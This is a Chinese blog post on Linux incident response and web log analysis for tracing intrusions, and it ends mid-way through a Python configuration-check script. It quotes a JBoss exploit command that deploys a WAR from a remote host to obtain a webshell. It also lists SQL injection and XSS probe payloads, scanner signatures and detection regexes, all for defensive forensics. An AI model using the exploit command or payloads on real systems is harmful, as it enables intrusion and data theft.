当前位置:   article > 正文

「干货」Linux 应急响应日志分析命令「详细总结」_应急响应 日志审计分析

应急响应 日志审计分析

也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大

少走了弯路,也就错过了风景,无论如何,感谢经历


转移发布平台通知:将不再在CSDN博客发布新文章,敬请移步知识星球

感谢大家一直以来对我CSDN博客的关注和支持,但是我决定不再在这里发布新文章了。为了给大家提供更好的服务和更深入的交流,我开设了一个知识星球,内部将会提供更深入、更实用的技术文章,这些文章将更有价值,并且能够帮助你更好地解决实际问题。期待你加入我的知识星球,让我们一起成长和进步

0x01 案例:发现有恶意IP攻击XXX公司某系统

JBoss命令执行漏洞利用方法是使用

java -jar jboss_exploit_fat.jar -i http://x.x.x.x:8080/invoker/JMXInvokerServletinvoke 

jboss.system:service=MainDeployer deploy http://www.xxx.com/demo/test2.war
  • 1
  • 2
  • 3

远程部署一个war包,默认应该会在/tmp/目录下留下jar包tmpxxxxxtest2.war及解压后的tmpxxxxtest2-exp.war文件夹,然后我们访问对应的网络路径,即可拿到WebShell。

当jboss中间件重启之后,默认tmp文件夹会全部清空的。如何找到jboss命令执行的痕迹?

实际上在对应的localhost文件夹下,java写的webshell会留有相对应的.java、.class文件的,并且这些文件在jboss重启后不会删除的。攻击者通过漏洞上传完webshell后,进行一系列恶意操作之后,通常会清理掉webshell,但是很少有攻击者会考虑到localhost文件夹下也是留有痕迹的。

在网站遭受入侵时,管理员不要急于删除攻击者留下的后门,应该及时联系网络安全人员到场协助处理。因为管理员毕竟网络安全经验有限,随意删文件的结果,可能把攻击者的痕迹一并给清理掉了,对于溯源攻击者的入侵行为带来很大困难。

系统被入侵后,如何溯源系统被入侵的大概过程,对日志进行分析,通过分析日志来还原整个过程的来龙去脉。

如果客户不知道被入侵的大概时间段,大概什么方式进来的,尤其是对关键字进行搜索时还会出现编辑器(UltraEdit)卡顿的情况。纯手工溯源在日志量特别大的时候,此时我们手工的话可能就不那么现实了,那么我们就需要利用脚本去完成一些常规的排查过程,来辅助完成日志分析工作。

1、获取主机信息

获取的主机信息包括:主机ip地址、主机名、当前系统内核版本、当前系统版本、系统当前时间;

2、获取异常进程

获取异常进程主要是采用两种方式,第一种,通过执行netstat -antp获取当前主机存在哪些链接,并通过判断外部链接地址归属地,如果归属地不是中国,则会提取相关pid,并根据pid定位出文件所在位置。第二种,通过cpu占有率,一旦发现cpu占用率高于%15时,会提取对应程序的pid,根据pid定位异常文件位置。

3、判断常见命令是否被篡改

在之前的应急响应中出现过常见命令被非法篡改情况,如ps、netstat命令被恶意替换,利用stat查看文件详细信息,通过比对时间的方式判断命令是否被篡改。

4、查看系统启动项

很多恶意程序会修改系统启动项,这样即使系统进行重启时,恶意程序也能自动启动,查看init.d目录下的启动文件,根据修改时间提取最近被修改的启动文件,并根据时间排序列出前5个。

5、查看历史命令

查看.bash_history历史命令,通过匹配关键字,如wget、cur等,来查看系统在被入侵后是否被执行了恶意操作。

6、判断非系统默认账户

恶意程序可能会在系统中新建账户,通过查看login.defs文件获取最小uid,从而根据uid查看passwd文件,获取之后新建的系统用户。

7、获取当前登录用户

通过调用who,查看当前登录用户(tty为本地登录,pts为远程登录),判断是否存在异常用户登录情况。

8、查看系统当前用户

通过查看etc/passwd,查看相关用户信息,确定是否存在异常用户。

9、查看crontab定时任务

查看/etc/crontab定时任务,并将输出结果保存到log中

10、查看、保存最近三天系统文件修改情况

通过find命令,查找最近三天修改过的文件,由于修改的系统文件较多,所以修改文件被单独保存在本地file_edit文件中

11、查找特权用户。

查看passwd文件,查找用户id为0的特权用户

12、secure日志分析

日志分析是应急的重头工作,尤其是在应急后期的溯源阶段,日志分析更显得尤为重要,由于日志种类包括服务器日志、应用日志,此处只是分析了secure服务器日志,提取日志的ip地址进行判断,并对ip归属地进行判断,查看的secure日志单独保存在本地secure中。

根据现场具体情况需要来决定优先级方案,筛选出来的IP,进行去重之前,排查到192.168.1.6 这个IP访问最频繁,那么匹配该IP 访问路由关于upload 关键词日志,其实单单,依靠日志进行分析的话是远远不够,需要借助规则告警、流量、资产、漏洞管理、情报分析等等。

通过特征搜索SQL注入、命令执行、文件包含等敏感关键词,例如搜索select、union这样的查询语句,也有出现table_name这样的表名。一般查询语句是不会出现在URL里面的,所以这基本上可以判断是收到了注入攻击。另一方面,在user_agent也显示了sqlmap。

鉴于XSS的特征,可以依靠一些常见的字符,比如%3c、%3E、script、alert等等之类的可疑字符去判断是否存在XSS注入攻击,作为一些告警的规则。

安全敏感关键字列表:

关键字类型关键字内容(不区分大小写)
敏感词类password、passwd、pwd、pass、userid、username、account、用户名、密码、口令、账号、license、sharekey、encrypt、crypt、密钥、私钥、publickey、privatekey、salt、0.0.0.0、777、666、555、setuid
  • WebShell:

通常存在于upload、file等出现类似字样的文件,均可能存在恶意文件上传,具体还需结合日志进行判断,一般是判断后续是否有出现Webshell等一些可以的web操作,如果发现在file.php页面的前后日志中,有存在一个带着日期的php页面,很可能就是利用file.php上传的文件,服务器自动生成名字,因此判断此处可能存在恶意文件上传。
PS:一般地,如果Post请求的数据未被显示出来,则需要我们通过访问的链接以及上下文的访问详情确认此处是否存在恶意文件上传

  • SQL注入 :select、union、sleep等

漏洞特征:存在SQL注入语句
常见的SQL注入语句有:
● 通过报错注入、布尔盲注、时间盲注判断是否存在注入:

字符型
● 参数后加单引号,报错:sql1.php?name=admin’
● 参数后加’ and ‘1’=‘2和’ and ‘1’=‘2,访问正常:sql1.php?name=admin’ and ‘1’=‘1 /sql1.php?name=admin’ and ‘1’=‘2
● 参数后加’ and sleep(3) --,是否延迟3秒打开:sql1.php?name=admin’ and/or sleep(3)–

数字型
● 参数后加单引号,报错:sql2.php?id=1’
● 参数后加and 1=1和and 1=2,访问正常:sql2.php?id=1 and 1=1/sql2.php?id=1 and 1=2
● 参数后加and sleep(5),是否延迟3秒打开:sql2.php?id=1 and sleep(5)

通过各种注入语句进行SQL注入攻击:
联合查询注入
● union select
● order by

报错注入(常见报错注入函数)
● floor()
● extractvalue()
● updatexml()
● geometrycollection()
● multipoint()
● polygon()
● multipolygon()
● linestring()
● multilinestring()
● exp()

常见数据库类型判断
● ACCESS
and (select count () from sysobjects)>0返回异常
and (select count (
) from msysobjects)>0返回异常
● SQLSERVER
and (select count () from sysobjects)>0返回正常
and (select count (
) from msysobjects)>0返回异常
and left(version(),1)=5%23参数5也可能是4
● MYSQL
id=2 and version()>0返回正常
id=2 and length(user())>0返回正常
id=2 CHAR(97, 110, 100, 32, 49, 61, 49)返回正常
● Oracle
and length (select user from dual)>0返回正常

  • XSS :

● 标签
<img>
<a>
<svg>
<BGSOUND>
<LINK>
<META>
<TABLE>
<DIV>
<IFRAME>
<FRAMESET>
<STYLE>
<OBJECT>

● 常用触发事件
oninput
onload
oncut
onclick
onerror
onmouseover
onfocus
onblur
poster
onscroll

● 常用恶意代码
prompt
confirm
alert
javascript
eval
expression
window.location等

  • 命令执行:whoami、ipconfig/ifconfig、net user等

  • 目录遍历 :…/…/等

  • 其它 : dese64_decode、OgnlContext等

扫描器特征:

● AWVS 10.5或11
acunetix-wvs-test-for-some-inexistent-file
by_wvs
acunetix_wvs_security_test
acunetix
acunetix_wvs
acunetix_test
wvs_test
● Netsparker
netsparker
Netsparker
ns: netsparker
●Appscan
Appscan
● Webinspect
HP404
● Rsas
nsfocus
● Nessus
nessus
Nessus
● Sqlmap
sqlmap

命令注入类 JAVA:org.mvel、antlr.build、zookeeper.shell、processbuilder、defaultexecutor、commandline、runtime

C/C++:exec、execv、execl、execlp、execvp、_wsystem、shellexecute、system、popen

PHP:passthru、shell_exec、eval

Python:execfile、input、subprocess、commands

SQL注入类 Select、insert、update、delete、union、where、from、order、join、create、drop、group、sleep等 XSS注入类 document.location、document.URL、document.URLUnencoded、document.referrer、document.write、document.writeln、document.boby.innerHtml、document.open、window.location、window.execscript、window.setinterval、window.settimeout、window.location.href、window.navigate、window.print、location.pathname 反序列化类 JAVA:XMLDecoder、xstream、readObject()、readResolve()、readExternal()、readObjectNoData()、InvocationHandle

Python:pickle、cpicle、yaml、jsonpickle

PHP:unserialize()、session.auto_start、session.serialize_handler

XXE注入类 JAVA:documentbuilder、xmlinputFactory、saxreader、saxparser、saxbuilder、jaxbcontext、transformer、documenthelper、xmlreader、xmlstreamreader 开源应急响应工具(还有其它的应急响应工具,请问文章尾部有做收集)">

https://github.com/Bypass007/Emergency-Response-Notes
https://github.com/Bypass007/Emergency-Response-Notes
https://github.com/grayddq/GScan.git
https://github.com/grayddq/GScan.git

在这里插入图片描述

随机抽取一条日志:61.144.119.65 - - [29/May/2017:22:01:32 +0800] "GET /page/1 HTTP/1.1" 200 6403 "http://www.baidu.com" "Scrapy/1.1.2 (+http://scrapy.org)"

如果,对日志不那么熟悉也没关系,我们可以查看Nginx中关于日志格式的配置,查看nginx.conf配置文件:

在这里插入图片描述

日志格式为:$remote_addr - $remote_user [$time_local] "$request" '$status $body_bytes_sent "$http_referer" '$http_user_agent" "$http_x_forwarded_for"';

翻译过来即为:远程IP - 远程用户 服务器时间 请求主体 响应状态 响应体大小 请求来源 客户端信息 客户端代理IP

服务器会记录来自客户端的信息,其中有大量来自正常用户的请求,当然也包括来自恶意攻击者的请求,如何区分正常请求和恶意攻击请求呢?

站在攻击者的角度,攻击者对网站进行渗透时,其中包含大量的扫描请求和执行恶意操作的请求,而这两者在日志中都有各自的特征,如扫描请求会访问大量不存在的地址,在日志中体现则为大量的响应状态码为404,而不同的恶意请求都有各自相应的特征,如当有人对服务器进行SQL注入漏洞探测时:

如下图以"select"为关键字进行过滤

在这里插入图片描述

此时加上时间条件,状态码等条件就能查询到最近可能成功的SQL注入攻击,实际情况中,仅仅只依靠状态码来判断攻击是否成功是不可行的,因为很多时候请求的确成功了,但并不能代表攻击也成功了,如请求一个静态页面或者图片,会产生这样一个请求:/logo.png?attack=test';select/**/1/**/from/**/1 ,此时请求状态码为200,但是此注入攻击并没有得到执行,实际情况中,会有很多干扰我们判断的垃圾日志产生。

在常规应急响应常见中,一般客户会有这几种被黑情况:

1.带宽被占满,导致网站响应速度变慢,用户无法正常访问
2.造成已知经济损失,客户被恶意转账、对账发现金额无端流失
3.网站被篡改或者添加暗链,常见为黑客黑页、博彩链接等
……

如上列出被黑的情况,一般我们会先建议对已知被黑的服务器进行断网,然后进行日志分析操作,溯源黑客的攻击过程。假设我们面对的是一个相对初级的黑客,一般我们直接到服务器检查是否存有明显的webshell即可。检查方式也很简单:

1.搜索最近一周被创建、更新的脚本文件
2.根据网站所用语言,搜索对应路由路径、SQL注入、webshell常见的关键字
3.上传D盾、河马WebShel查杀,对网站源码全部扫一遍看看或下载客户被黑网站源码到本地,用WebShell查杀工具查杀(客户允许上传或下载的情况下进行)

找到webshell后门文件后,通过查看日志中谁访问了webshell,然后得出攻击者IP,再通过IP提取出攻击者所有请求进行分析

此时,我们可以得到如下的日志结果
类似这样一个日志结果:(为清晰呈现攻击路径,此日志为人工撰造)

eg:
00:01 GET http://localhost/index.php 9.9.9.9 200 [正常请求]
00:02 GET http://localhost/index.php?id=1’ 9.9.9.9 500 [疑似攻击]
00:05 GET http://localhost/index.php?id=1’ and 1=user() or ‘’=’ 9.9.9.9 500 [确认攻击]
00:07 GET http://localhost/index.php?id=1’ and 1=(select top 1 name from userinfo) or ‘’=’ 9.9.9.9 500 [确认攻击]
00:09 GET http://localhost/index.php?id=1’ and 1=(select top 1 pass from userinfo) or ‘’=’ 9.9.9.9 500 [确认攻击]
00:10 GET http://localhost/admin/ 9.9.9.9 404 [疑似攻击]
00:12 GET http://localhost/login.php 9.9.9.9 404 [疑似攻击]
00:13 GET http://localhost/admin.php 9.9.9.9 404 [疑似攻击]
00:14 GET http://localhost/manager/ 9.9.9.9 404 [疑似攻击]
00:15 GET http://localhost/admin_login.php 9.9.9.9 404 [疑似攻击]
00:15 GET http://localhost/guanli/ 9.9.9.9 200 [疑似攻击]
00:18 POST http://localhost/guanli/ 9.9.9.9 200 [疑似攻击]
00:20 GET http://localhost/main.php 9.9.9.9 200 [疑似攻击]
00:20 POST http://localhost/upload.php 9.9.9.9 200 [疑似攻击]
00:23 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
00:25 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
00:26 POST http://localhost/webshell.php 9.9.9.9 200 [确认攻击]
已知后门文件名为"webshell.php",且得知攻击者IP为9.9.9.9,我们只需提取了此IP所有请求,从这些请求可以清楚看出攻击者从00:01访问网站首页,然后使用了单引号对网站进行SQL注入探测,然后利用报错注入的方式得到了用户名和密码,随后扫描到了管理后台进入了登录进了网站后台上传了webshell文件进行了一些恶意操作。
从以上分析我们可以得出,/index.php这个页面存在SQL注入漏洞,后台地址为/guanli.php,/upload.php可直接上传webshell
那么很容易就能得出补救方法,修复注入漏洞、更改管理员密码、对文件上传进行限制、限制上传目录的执行权限、删除webshell。

1.日志中POST数据是不记录的,所以攻击者如果找到的漏洞点为POST请求,那么刚刚上面的注入请求就不会在日志中体现
2.状态码虽然表示了响应状态,但是存在多种不可信情况,如服务器配置自定义状态码。

如在我经验中,客户服务器配置网站应用所有页面状态码皆为200,用页面内容来决定响应,或者说服务器配置了302跳转,用302到一个内容为“不存在页面”(你可以尝试用curl访问http://www.baidu.com/test.php看看响应体)
3.攻击者可能使用多个代理IP,假如我是一个恶意攻击者,为了避免日后攻击被溯源、IP被定位,会使用大量的代理IP从而增加分析的难度(淘宝上,一万代理IP才不到10块钱,就不说代理IP可以采集免费的了)

如果一个攻击者使用了大量不同的IP进行攻击,那么使用上面的方法可能就无法进行攻击行为溯源了
4.无恶意webshell访问记录,刚才我们采用的方法是通过“webshell”这个文件名从日志中找到恶意行为,如果分析过程中我们没有找到这么一个恶意webshell访问,又该从何入手寻找攻击者的攻击路径呢?
5.分析过程中我们还使用恶意行为关键字来对日志进行匹配,假设攻击者避开了我们的关键字进行攻击?比如使用了各种编码,16进制、Base64等等编码,再加上攻击者使用了代理IP使我们漏掉了分析中攻击者发起的比较重要的攻击请求
6.APT攻击,攻击者分不同时间段进行攻击,导致时间上无法对应出整个攻击行为
7.垃圾日志数据,攻击者可能会使用扫描器进行大量的扫描,此时日志中存在大量扫描行为,此类行为同样会被恶意行为关键字匹配出,但是此类请求我们无法得知是否成功扫描到漏洞,可能也无法得知这些请求是扫描器发出的,扫描器可使用代理IP、可进行分时策略、可伪造客户端特征、可伪造请求来源或伪造成爬虫。此时我们从匹配出的海量恶意请求中很难得出哪些请求攻击成功了。

开源日志分析平台ELK,ELK(开源、免费)分别为:

● Elasticsearch 开源分布式搜索引擎
● Logstash 对日志进行收集、过滤并存储到Elasticsearch或其他数据库
● Kibana 对日志分析友好的Web界面,可对Elasticsearch中的数据进行汇总、分析、查询

简短概括一下:
一、实时监控正在发生的安全事件、安全趋势
二、还原攻击者行为
1.从何时开始攻击
2.攻击所利用的工具、手法、漏洞
3.攻击是否成功,是否已经造成损失和危害

三、发现风险、捕获漏洞、修复漏洞、恶意行为取证

我们一般需要先了解一下,网站是遭受了什么攻击?并确定可疑攻击者特性(指纹),如IP地址、UA信息、时间段等

网站运维发现的异常

对于事件应急来讲,客户基本都可以描述清楚大致情况,比如网站出现黑页、后门文件、数据泄露、大量用户投诉等等。一般我们可以直接进行针对性的日志分析。

  • 数值统计

在客户的描述信息不足以确定攻击类似的情况下,可以考虑使用数值统计手段来初步识别可能的攻击。如:

  • IP访问数量统计 :网站扫描

  • URL访问数量统计:暴力破解(高统计值)、网站遍历(低统计值)

  • 非200请求比:网站遍历、报错注入

【关键字】

  • SQL注入 :select、union、sleep等

  • XSS :alert(、script、src=http等

  • 命令执行:whoami、ipconfig/ifconfig、net user等

  • 目录遍历 :…/…/等

  • 其它 : dese64_decode、OgnlContext等

【相关日志筛选】

筛选出攻击相关的日志记录,缩小排查范围。

  • 指定IP筛选

  • 指定UA筛选

  • 指定URL筛选

  • 组合筛选条件

【攻击类型分析】

在缩小后的范围内,大致查阅记录,一般就能确定可能的攻击类型。 也可以考虑使用关键字(或正则表达式)搜索。

【攻击细节分析】

查看相关日志记录的始末时间,确定是否需要扩大日志范围。对攻击范围内的日志进行分析(也就是查看URL及参数,相对容易能看明白其攻击类型),梳理攻击路径及时间线,以便评估损失、确定漏洞也是为后续报告提供材料。

在传统日志分析过程中,想要实现以上效果,那么就不得不面对第三节中提到的问题,这里回顾一下:

1.POST数据不记录导致分析结果不准确

其实在服务器端,运维管理人员可自行配置记录POST数据,但是这里说的是默认不记录的情况,所以配置记录POST数据暂且不提
其实我觉得要从不完整的信息中,分析得到一个肯定的答案,我觉得这从逻辑上就不可行。但是我们可以折中实现,尽量向肯定的答案靠近,即使得到一个90%肯定的答案,那也合乎我们想要的结果
在常规日志分析中,虽然POST数据不被记录,但是这些“不完整信息”依然能给我们我们提供线索
如通过响应大小、响应时间、前后请求关联、POST地址词义分析、状态码等等依然能为我们的分析提供依据,如某个请求在日志中的出现次数占访问总数30%以上,且响应大小平均值为2kb,突然某一天这个请求的响应值为10kb,且发起请求的IP曾被攻击特征匹配出过,那么可以80%的怀疑此请求可能存在异常,如攻击者使用了联合注入查询了大量数据到页面,当然这里只是举例,实际情况可能存在误报。

2.POST数据不记录导致分析结果不准确

对于那些自行设置响应状态的,明明404却302的,明明500却要200的(我能说这种我想拖出去打死么- -,)
PS:其实设置自定义状态码是别人的正常需求因为状态码不可信了,我们必须从其他方面入手来获取可信线索,虽然要付出点代价
对于不同的攻击行为,我们应该定义不同的响应规则,如攻击规则命中的为网站备份文件,那么应该判断请求大小必须超过1k-5k,如攻击者发起/wwwroot.rar这种攻击请求,按照常理如果状态码为200,那么本来应该被定性为成功的攻击行为,但是因为状态码不可信,我们可以转而通过响应大小来判断,因为按照常规逻辑,备份文件一般都不止只有几kb大小,如攻击者发起Bool注入请求则应该通过判断多个注入攻击请求的规律,Bool注入通常页面是一大一小一大一小这种规律,如攻击者发起联合注入攻击,则页面响应大小会异常于多部分正常页面响应大小,如果攻击者发起延时注入请求,则页面响应时间则会和延时注入payload中的响应相近,但是这需要分析攻击payload并提取其中的延时秒数来和日志中的响应时间进行比较误差值,当然,这里只是尝试思路,实际可行率有待实践

3.攻击者使用多个代理IP导致无法构成整个攻击路径

假设同一攻击者发起的每个请求都来自不同的IP,此时即使攻击规则命中了攻击者所有请求,也无法还原攻击者的攻击路径,此时我们只能另寻他法。
虽然攻击者使用了多个IP,但是假设攻击者不足够心细,此时你可以通过攻击时间段、请求频率、客户端信息(Ua)、攻击手法、攻击工具(请求主体和请求来源和客户端信息中可能暴露工具特征。如sqlmap注入时留下的referer)

4.无恶意webshell访问记录

常规分析中,我们通过找到后门文件,从而利用这一线索得知攻击者IP继而得知攻击者所有请求,但是如果我们并没有找到webshell,又该用什么作为分析的入口线索呢?

利用尽可能全面的攻击规则对日志进行匹配,通过IP分组聚合,提取发起过攻击请求的所有IP,再通过得到的IP反查所有请求,再配合其他方法检测提取出的所有请求中的可疑请求

5.编码避开关键字匹配

关于编码、加密问题,我也曾尝试过,但是实际最后发现除了URL编码以外,其他的编码是无法随意使用的,因为一个被加密或编码后的请求,服务器是无法正确接收和处理的,除非应用本身请求就是加密或编码的。且一般加密或编码出现在日志里通常都是配合其他函数实现的,如Char()、toHexString()、Ascii()…

6.APT分时段攻击

如果同一攻击者的攻击行为分别来源不同的时间,比如攻击者花一周时间进行“踩点”,然后他就停止了行为,过了一周后再继续利用所得信息进行攻击行为,此时因为行为链被断开了一周,我们可能无法很明显的通过时间维度来定位攻击者的攻击路径。我目前的想法是,给攻击力路径定义模型,就拿在前面讲到的常规日志分析举例,那么攻击路径模型可定义为:访问主页>探测注入>利用注入>扫描后台>进入后台>上传webshell>通过webshell执行恶意操作
其中每一个都可以理解一种行为,而每种行为都有相应的特征或者规,比如主页链接一般在日志中占比较大,且通常路径为index.html、index.php、index.aspx,那么符合这两个规则则视为访问主页
而在探测注入行为中,一般会出现探测的payload,如时间注入会匹配以下规则:

● *(BENCHMARK\\(.*\\)).*
● *(WAITFOR.*DELAY).*
● *(SLEEP\\(.*\\).*
● *(THENDBMS_PIPE.RECEIVE_MESSAGE).*
Bool注入
● *and.*(&gt;|=|&lt;).*
● *or.*(&gt;|=|&lt;).*
● *xor.*(&gt;|=|&lt;).*
联合注入:
● *(order.*by).*
● *(union.*select).*
● *(union.*all.*select).*
● *(union.*select.*from).*
显错注入:
● *('|"|\\)).*
● *(extractvalue\\(.*\\)).*
● *(floor\\(.*\\)).*
● *(updatexml\\(.*\\)).*
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

 

利用注入则会体现出更完整,带有目的性的攻击请求,我们以同理制定规则即可,如查询当前数据库名、查询版本信息、查询数据库表名、列名则会出现database、version、table_name、column_nam(不同数据库存在不同差异,这里仅举例)
扫描后台则会产生大量的404请求,且请求较为频繁,请求特征通常为/admin、/guanli、/login.php、/administrator
对于是否进入后台,我认为假如一个疑似后台访问的链接被频繁请求,且每次响应大小都不相同,我则认为这是已经进入了后台,但是也有可能是网站管理员正在后台进行操作的,这暂且不谈
关于上传webshell,这个比较难得到较准确的信息,因为我们没有POST数据,无法知道上传的内容是什么,但是我们可以通过反推法,先利用webshell访问特征进行匹配,找到可能为webshell的访问地址,然后以时间为条件往前匹配包含上传特征的请求,如果成功匹配到了存在上传特征,那么可将其视为攻击路径中的“上传webshell”行为
至于“通过webshell执行恶意操作”,可以简单定义为webshell地址被请求多次,且响应大小大多数都不相同
当我们对以上每种行为都建立对应的规则之后,然后按照攻击路径模型到日志中进行匹配,攻击路径模型可能有多个

这是一个相对常规的攻击路径:

访问主页>探测注入>利用注入>扫描后台>进入后台>上传webshell>通过webshell执行恶意操作
可能还会有,访问主页>爬虫特征>扫描敏感信息>扫描识别CMS特征>利用已知组件漏洞进行攻击>执行恶意代码>获取webshell>通过webshell执行恶意操作
扫描路径>扫描到后台>疑似进入后台>上传webshell>通过webshell执行恶意操作
当我们用多个类似这样的攻击路径模型对日志进行匹配时,可能在同一个模型中可能会命中多次相同的行为特征,此时我需要做一个排查工作,通过IP、客户端特征、攻击手法、攻击payload相似度等等进行排除掉非同一攻击者的行为,尽可能得到一条准确的攻击路径。
我们通过一整个攻击路径来定义攻击,从而即使攻击者分时段进行攻击,行为也会被列入到攻击路径中,通过这样方式,也许能实现自动化展示出攻击者的攻击路径,但是具体可行率、准确度还有待进一步实践后确认。

7.垃圾日志数据

通常,除了攻击者恶意构造的攻击之外,日志中还包含大量的扫描器发出的请求,此类请求同样包含一些攻击特征。
但是,多半都为无效的攻击,那么我们如何从大量的扫描攻击请求中判断出哪些请求较为可疑,可能攻击已经成功呢?
我所认为的方法目前有两种,一种是给每种攻击方法定义成功的特征,如延时注入可通过判断日志中的响应时间,联合注入可通过与正常请求比较响应大小,Bool注入可通过页面响应大小的规律。
当然,实际情况中,这种做法得到的结果可能是存在误报的。第二种办法就是通过二次请求,通过重放攻击者的请求,定义攻击payload可能会返回的结果,通过重放攻击请求获取响应之后进行判断,
其实,这里已经类似扫描器,只是攻击请求来自于日志,这种方法可能对服务器造成二次伤害,一般情况下不可取,且已经脱离日志分析的范畴。

统计的方法来区分正常和异常请求,某个URL被访问的次数越少,那么次请求为可疑。(正常总是基本相似 异常却各有各的异常)

如何从日志中区分正常请求和攻击请求

  1. 关键字匹配
  2. 创造一种算法来计算,但其实这样做虽然有点效果,但是还是会漏掉很多请求,且存在大量无用请求。
  3. 对网站建立白名单,然后不在白名单内的请求皆为异常请求。(果我们手动对网站请求建立一个单独的白名单,那么一旦站点较多,建立白名单这个工作量又会巨大,但是如果只有单个站点,手工建立这样一个白名单是有意义的,因为这样就能统计所有的异常请求甚至未知的攻击行为。)

搜集大量正常请求,为每个请求的所有参数的值定义正常模型

通过Waf或者攻击规则来剔除所有发起过攻击请求的IP,从而得到所有来自用户的正常请求,将每个正常请求构造出对应的正常模型,比如:
http://test.com/index.php?id=123
http://test.com/index.php?id=124
http://test.com/index.php?id=125

那么,关于此请求的正常模型则为 [N,N,N],不匹配此模型的请求则为异常请求

当对日志中的请求建立完正常的模型,通过正常模型来匹配找出所有不符合模型的请求时,发现效果的确不错,漏报较少,不过实践中发现另一个问题,那便是数据的清洗,我们能否建立对应的模型,取决于对日志数据的理解,如果在数据前期提取时,我们无法准确的提取哪些是请求地址那些为请求参数可能无法对某个请求建立正常模型

PS:如果涉及的记录不是太多(百万条以内),可以将日志的空格替换为逗号并保存为csv文件,然后直接用Excel打开,再使用Excel的批量统计功能进行直观处理。如果出现导入Excel时,存在字段不对应的情况(User-Agent信息中可能包含空格),可以在Excel中进行批量处理,或者在文本编辑器中使用正则表达式替换避免空格带来的影响。

  1. NGINX,有什么方法可以记录到post数据到log里面?
    默认情况下都是不记录POST数据包的。

  2. 免费的win日志分析有什么?
    LogParser、360星图、LogForensics、GoAccess、AWStats、Logstalgia、FinderWeb、web-log-parser、ELK、Splunk、IBM QRadar、其它第三方工具,文章下面有放。

  3. 应急响应中,日志被删了该怎么办?
    需要数据取证方面的知识,一般的,需要对整个磁盘做克隆(每个bit都保存下来),然后做数据还原。看是否有机会还原日志数据

  4. 有什么办法解决日志存储时间?
    日志时间一般不太有问题的,如果有时区问题,那么对应的进行时间加减就行了。 除非攻击者人为对日志进行了修改伪造。
    一些中间件是可以设定的,不过你得考虑你的硬盘够不够用,具体的设定方法可以参考各服务的文档。

  5. 针对于病毒的应急可以讲讲么?
    看它的危害程度,如果有内网扩散的风险,那至少先做一定的网络隔离;如果是有通信连接的话,建议保存内存镜像以便后续对内存内容进行分析。同时提取病毒样本,然后回实验室找反汇编、反编译大牛来分析。

  6. 方便提供几个日志分析工具?
    logParser awk/grep
    日志分析还是要看用途,很多的日志分析工具并不是针对特定的安全事件,太多的冗余信息。
    对于特定的事件处理来讲,没有一针见血的效果。

  7. 日志分析有哪些用途?
    感知可能正在发生的攻击,从而规避存在的安全风险
    应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失
    分析安全趋势,从较大的角度观察攻击者更“关心”哪些系统
    分析安全漏洞,发现已知或位置攻击方法,从日志中发现应用0day、Nday
    … …

8.有哪些方法可找出日志中的攻击行为?
攻击规则匹配,通过正则匹配日志中的攻击请求
统计方法,统计请求出现次数,次数少于同类请求平均次数则为异常请求
白名单模式,为正常请求建立白名单,不在名单范围内则为异常请求
HMM模型,类似于白名单,不同点在于可对正常请求自动化建立模型,从而通过正常模型找出不匹配者则为异常请求

9.日志分析有哪些商业和非商业工具/平台?
工具:
LogForensics 腾讯实验室
https://security.tencent.com/index.php/opensource/detail/15">https://security.tencent.com/index.php/opensource/detail/15

北风飘然@金乌网络安全实验室
http://www.freebuf.com/sectool/126698.html">http://www.freebuf.com/sectool/126698.html

网络ID为piaox的安全从业人员:
http://www.freebuf.com/sectool/110644.html">http://www.freebuf.com/sectool/110644.html

网络ID:SecSky
http://www.freebuf.com/sectool/8982.html">http://www.freebuf.com/sectool/8982.html

网络ID:鬼魅羊羔
http://www.freebuf.com/articles/web/96675.html">http://www.freebuf.com/articles/web/96675.html

平台(商业项目):
Splunk >> 机器数据引擎
赛克蓝德 >> SeciLog
优特捷信息技术 >> 日志易
HanSight瀚思 >> 安全易
百泉众合数据科技 >>LogInsight
江南天安 >> 彩虹WEB攻击溯源平台

10.开源项目:
elk
https://www.elastic.co">https://www.elastic.co

scribe
https://github.com/facebook/scribe">https://github.com/facebook/scribe

chukwa
http://incubator.apache.org/chukwa/">http://incubator.apache.org/chukwa/

kafka
http://sna-projects.com/kafka/">http://sna-projects.com/kafka/

Flume
https://github.com/cloudera/flume/">https://github.com/cloudera/flume/

11.有哪些方法适合分析攻击是否成功?
Kill Chain Mode

0x02 应急脚本

下面是酒仙桥六号部队写的脚本

• 口令生存周期检查
• 令更改最少时间间隔
• 口令最小长度
• 检查空弱口令
• 检查sudo权限异常用户
• 检查特权用户组
• 口令过期警告时间天数
• 找非root账号UID为0的账号
• 检查是否允许root账号登录
• 检查是否开启日志审计auditd
• 历史命令保存的最大条数检测
• 检查是否开启telnet
• 检查是否开启nfs服务
• 检查重要系统文件权限
• 检查免密码登录

#coding:utf-8
import os
import json

class Linux_Check:

def __init__(self):
ipadd="ifconfig -a | grep Bcast | awk -F "[ :]+" '{print $4}'"
self.passmax="cat /etc/login.defs | grep PASS_MAX_DAYS | grep -v ^# | awk '{print $2}'"
self.passmin="cat /etc/login.defs | grep PASS_MIN_DAYS | grep -v ^# | awk '{print $2}'"
self.passlen="cat /etc/login.defs | grep PASS_MIN_LEN | grep -v ^# | awk '{print $2}'"
self.passage="cat /etc/login.defs | grep PASS_WARN_AGE | grep -v ^# | awk '{print $2}'"
self.uid="awk -F[:] 'NR!=1{print $3}' /etc/passwd"
self.sshd_config="cat /etc/ssh/sshd_config | grep -v ^# |grep 'PermitRootLogin no'"
self.bash_histrory="cat /etc/profile|grep HISTSIZE|head -1|awk -F[=] '{print $2}'"
self.Result=[]
self.ssh_authorized_user={}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

2.1 口令生存周期检查


def check_passmax(self):
result= {"name":"口令生存周期检查", "level":"middle","service":[""],"user":["root"],"filename":["/etc/login.defs"],"port":[""],"src_port":[""],"dest_port":[""],"pid":[""],"protocol":[""],"check":True}
try:
shell_process = os.popen(self.passmax).read()
if 0&lt; int(shell_process)&lt;=90:
result["msg"]="口令生成周期为%s" %shell_process
else:
result["check"]=False
result["msg"]="口令生成周期为%s" %shell_process
except Exception as e:
result["error"]=str(e)
finally:
